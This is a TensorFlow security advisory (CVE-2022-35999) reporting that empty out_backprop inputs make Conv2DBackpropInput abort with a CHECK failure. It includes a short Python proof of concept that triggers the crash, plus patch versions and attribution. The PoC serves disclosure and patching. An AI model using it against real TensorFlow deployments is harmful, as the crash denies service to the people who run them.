1## TFSA-2022-121: `CHECK` fail in `Conv2DBackpropInput` 2 3### CVE Number 4CVE-2022-35999 5 6### Impact 7When `Conv2DBackpropInput` receives empty `out_backprop` inputs (e.g. `[3, 1, 0, 1]`), the current CPU/GPU kernels `CHECK` fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack. 8```python 9import tensorflow as tf 10import numpy as np 11input_sizes = [3, 1, 1, 2] 12filter = np.ones([1, 3, 2, 3]) 13out_backprop = np.ones([3, 1, 0, 3]) 14strides = [1, 1, 2, 1] 15padding = 'VALID' 16 17tf.raw_ops.Conv2DBackpropInput( 18 input_sizes = input_sizes, 19 filter = filter, 20 out_backprop = out_backprop, 21 strides = strides, 22 padding = padding 23) 24``` 25 26### Patches 27We have patched the issue in GitHub commit [27a65a43cf763897fecfa5cdb5cc653fc5dd0346](https://github.com/tensorflow/tensorflow/commit/27a65a43cf763897fecfa5cdb5cc653fc5dd0346). 28 29The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. 30 31 32### For more information 33Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 34 35 36### Attribution 37This vulnerability has been reported by Jingyi Shi. 38